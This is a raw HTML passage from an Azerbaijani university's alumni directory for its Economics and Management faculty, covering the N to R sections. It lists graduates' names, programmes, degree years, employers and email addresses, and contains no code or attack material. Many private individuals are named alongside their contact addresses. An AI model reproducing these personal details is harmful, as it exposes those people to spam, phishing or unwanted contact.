href=\"mailto:ceferova.nuran@mail.ru\">ceferova.nuran[at]mail.ru</a> </p>\r\n<p><strong><br></strong></p><p><strong>Nərmin Zari </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Biznesin idarə edilməsi, 2017</p>\r\n<p>E-mail: <a href=\"mailto:nermin.zari@gmail.com\">nermin.zari[at]gmail.com</a> </p>\r\n<p>11 sayli inteqrasiya telimli internat mektebi, Sagird birliyinin sədri.</p>\r\n<p><strong><br></strong></p><p><strong>Nigar Əliyeva </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Biznesin idarə edilməsi, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Zahid_nigar_95@mail.ru\">Zahid_nigar_95[at]mail.ru</a> </p>\r\n<p>&nbsp;</p>\r\n<p><strong>Natella Əliyeva </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Biznesin idarə edilməsi,\r\n2017</p>\r\n<p>E-mail:<a href=\"mailto:n.aliyeva009@gmail.com\">n.aliyeva009[at]gmail.com</a> </p>\r\n<p><strong><br></strong></p><p><strong>Nərmin&nbsp;</strong><strong>Yunusova&nbsp;</strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Xidmət sferasında mühasibat uçotu və\r\naudit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:ynarmin@yahoo.com\">ynarmin[at]yahoo.com</a> </p>\r\n<p><strong><br></strong></p><p><strong>Nigar&nbsp;</strong><strong>Nuriyeva&nbsp;</strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Biznesin Təşkili və İdarə Edilməsi, 2017</p>\r\n<p>E-mail: <a href=\"mailto:nuriyevanigar@hotmail.com\">nuriyevanigar[at]hotmail.com</a> </p>\r\n<p>Iqtisadiyyat\r\nnazirliyi</p>  <p><span style=\"font-size:12.0pt\"><strong><br></strong></span></p><p><span style=\"font-size:12.0pt\"><strong>Nigar\r\nCabbarova</strong></span></p><p>İqtisadiyyat\r\nvə Menecment fakültəsi</p>\r\n<p>MBA, 2015</p>\r\n<p>Mühasibat\r\nuçotu və audit</p>\r\n<p>Bank\r\nof Baku – Rəqəmsal bankçılıq və Layihələrin İdarə Edilməsi Departamenti,\r\nekspert</p>\r\n<a href=\"mailto:nigarjabbarova@hotmail.com\">nigarjabbarova@hotmail.com</a>; <a href=\"mailto:nscabbarova@bankofbaku.com\">nscabbarova@bankofbaku.com<hr noshade=\"noshade\" style=\"width:100%;height:1px\"></a><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nailə&nbsp;Abdullayeva&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nərgiz Sadıqova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və&nbsp;İdarəedilməsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">SİGMA texnikal services, layihə kordinatoru</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:nargizfsa12@hotmail.com\">nargizfsa12@hotmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nigar&nbsp;Hüseynzadə&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq İqtisadi Münasibətlər</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">USA, Marriot Hotel, Administrator</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:nigar.huseynzadeh@gmail.com\">nigar.huseynzadeh@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2008</p>  <hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nicat&nbsp;Rəhimov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq İqtisadi Münasibətlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Moore Stephens, Auditor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:nicat_rehimov@yahoo.com.tr\">nicat_rehimov@yahoo.com.tr</a></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><a href=\"mailto:nicat_rehimov@yahoo.com.tr\"></a></strong>Bakalavr 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nigar Süleymanova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:nigar.suleymanova.1993@gmail.com\">nigar.suleymanova.1993@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nərmin&nbsp;Ramazanova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment&nbsp;,&nbsp;Biznesin Təşkili və\r\nidarəedilməsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:narmin.ramazanova@rambler.ru\">narmin.ramazanova@rambler.ru</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nicat Ağayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq&nbsp;İqtisadi Münasibətlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:Nicat.A%C4%9Fayev@gmail.com\">Nicat.Ağayev@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nigar Fərəcullayeva&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Norveç</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<strong><a href=\"mailto:NIGARAF@AGBANK.AZ\">NIGARAF@AGBANK.AZ</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nurani Allahverdiyev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Qarant sğorta MMC, sığorta agenti</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:nuranii@rambler.ru\">nuranii@rambler.ru</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nərmin Məmmədova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq&nbsp;İqtisadi Münasibətlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Fransa, Disneyland hotel, menecer</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:narmishka_23@hotmail.com\">narmishka_23@hotmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nicat Bağırov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:nic.xazar@hotmail.co.uk\">nic.xazar@hotmail.co.uk</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nərgiz Məmmədova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq İqtisadi Münasibətlər</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:mamedova_narguiz@yahoo.com\">mamedova_narguiz@yahoo.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nərgiz Haciyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin təşkili və idarəedilməsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nigar Səmədova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mariott Hotel</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong><a href=\"mailto:Nigar.samedova@marriott.com\">Nigar.samedova@marriott.com</a></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><a href=\"mailto:Nigar.samedova@marriott.com\"></a></strong>MBA 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nigar Səfərova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Azersun/Standartlaşma üzrə mütəxəssis</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong> <a href=\"mailto:Nigar.s@live.com\">Nigar.s@live.com</a></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><a href=\"mailto:Nigar.s@live.com\"></a></strong>MBA 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nigar&nbsp;Hüseynzadə&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">USA, Marriot Hotel, Administrator</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong> <a href=\"mailto:nigar.huseynzadeh@gmail.com\">nigar.huseynzadeh@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nicat&nbsp;Rəhimov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Moore Stephens, Auditor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong> <a href=\"mailto:nicat_rehimov@yahoo.com.tr\">nicat_rehimov@yahoo.com.tr</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nigar Qurbanzadə</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:Nigarqurbanzade@mail.ru\">Nigarqurbanzade@mail.ru</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nigar İsmayılova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq İqtisadi Münasibətlər</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong> &nbsp;<a href=\"mailto:ismailovanigar91@gmail.com\">ismailovanigar91@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016 (Fərqlənmə)</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nigar Musayeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:Nigar27.06@gmail.com\">Nigar27.06@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp; (Fərqlənmə)</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nərmin Piriyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühasibat uçotu və audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:piriyeva.94@mail.ru\">piriyeva.94@mail.ru</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nərmin Hümbətova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə/BBA\r\n&amp; General MBA&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Aparıcı\r\nmühasib / &nbsp;Azersun Holding&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:narmingumbatova@gmail.com\">narmingumbatova@gmail.com</a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nərgiz Səmədova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:nergiz_semedova@yahoo.com\">nergiz_semedova@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nisə Əsgərli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:nisa.askerli@gmail.com\">nisa.askerli@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"O\" style=\"font-weight:bold\"><strong>O</strong></h3><p><strong>Orxan Eyvazov<o:p></o:p></strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:orhan1994@inbox.ru\">orhan1994[at]inbox.ru</a></p>\r\n<p>AzTrustServic MMC.&nbsp;Assistant of General Director for international relations.</p>\r\n<p><strong><br></strong></p><p><strong>Orxan Miriyev </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə, 2017</p>\r\n<p>E-mail:<a href=\"mailto:orxan1996m@gmail.com\">orxan1996m[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Orxan Rzayev </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Menecment,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:orkhanrza@gmail.com\">orkhanrza[at]gmail.com</a> </p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Orxan Şükürov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və&nbsp;İdarəedilməsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:orkhanshukin@yahoo.com\">orkhanshukin@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;<span style=\"font-weight:bold\">&nbsp;</span></p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Orxan Məmmədov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hərbi xidmətdədir</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:mammadovof@hotmail.com\">mammadovof@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><br><h3 id=\"P\" style=\"font-weight:bold\"><strong>P</strong></h3><p><strong>Piri Novruzlu <o:p></o:p></strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Mühasibat\r\nuçotu və audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:p.f.novruzlu@gmail.com\">p.f.novruzlu[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Pərviz Rüstəmov </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:prustemli@gmail.com\">prustemli[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Pənah Əməşov </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Mühasibat\r\nuçotu və audit, 2017</p>\r\n<p>E-mail:<a href=\"mailto:panah.amashov@inbox.ru\">panah.amashov[at]inbox.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Pərviz Şamilli </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>İqtisadiyyat,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:shamilli2015@mail.ru\">shamilli2015[at]mail.ru</a> </p>\r\n<p><strong><br></strong></p><p><strong><strong>Pərvin</strong>  Məmmədova&nbsp;</strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Layihənin idarə olunması, 2017</p>\r\n<p>E-mail:<a href=\"mailto:memmedova_pervin@yahoo.com\">memmedova_pervin[at]yahoo.com</a> </p>\r\n<p>&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Pərviz&nbsp;Ağayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi,&nbsp;Maliyyə və kredit&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">IBRD, Mütəxəssis</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:agayevp@gmail.com\">agayevp@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><h3><strong>R</strong><strong></strong></h3><p><strong>Ruslan İsmayılov <o:p></o:p></strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Menecment,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:ismailov.ruslan93@gmail.com\">ismailov.ruslan93[at]gmail.com</a> </p>\r\n<p><strong><br></strong></p><p><strong>Rəhilə Əhmədova </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:rehile.ehmedova9505@gmail.com\">rehile.ehmedova9505[at]gmail.com</a> </p>\r\n<p>&nbsp;</p>\r\n<p><strong>Rəşad Şərifli </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə menecmenti, 2017</p>\r\n<p>E-mail: <a href=\"mailto:rashad.sharifli@mail.ru\">rashad.sharifli[at]mail.ru</a> </p>\r\n<p><strong><br></strong></p><p><strong><strong>Ruslan</strong>  Süleymanlı&nbsp; </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Beynəlxalq İqtisadi Münasibətlər,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:ruslan.suleymanli@gmail.com\">ruslan.suleymanli[at]gmail.com</a> </p>\r\n<p>Neftçala rayon icra hakimiyyəti</p>\r\n<p>&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ramil&nbsp;Bədəlov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Moore Stephens, Auditor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:ramil_badalov@yahoo.com\">ramil_badalov@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rəna Hacıyeva &nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və&nbsp;İdarəedilməsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:renamagnum@yahoo.com\">renamagnum@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Röya Əmiraslanova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Roya.amiraslanova@mail.ru\">Roya.amiraslanova@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp;<span style=\"font-weight:bold\">&nbsp;</span></p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rüfət Məlikov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:rufat.melikov1995@gmail.com\">rufat.melikov1995@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Röyal Camalov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə menecmenti</p>\r\n<p style=\"\" 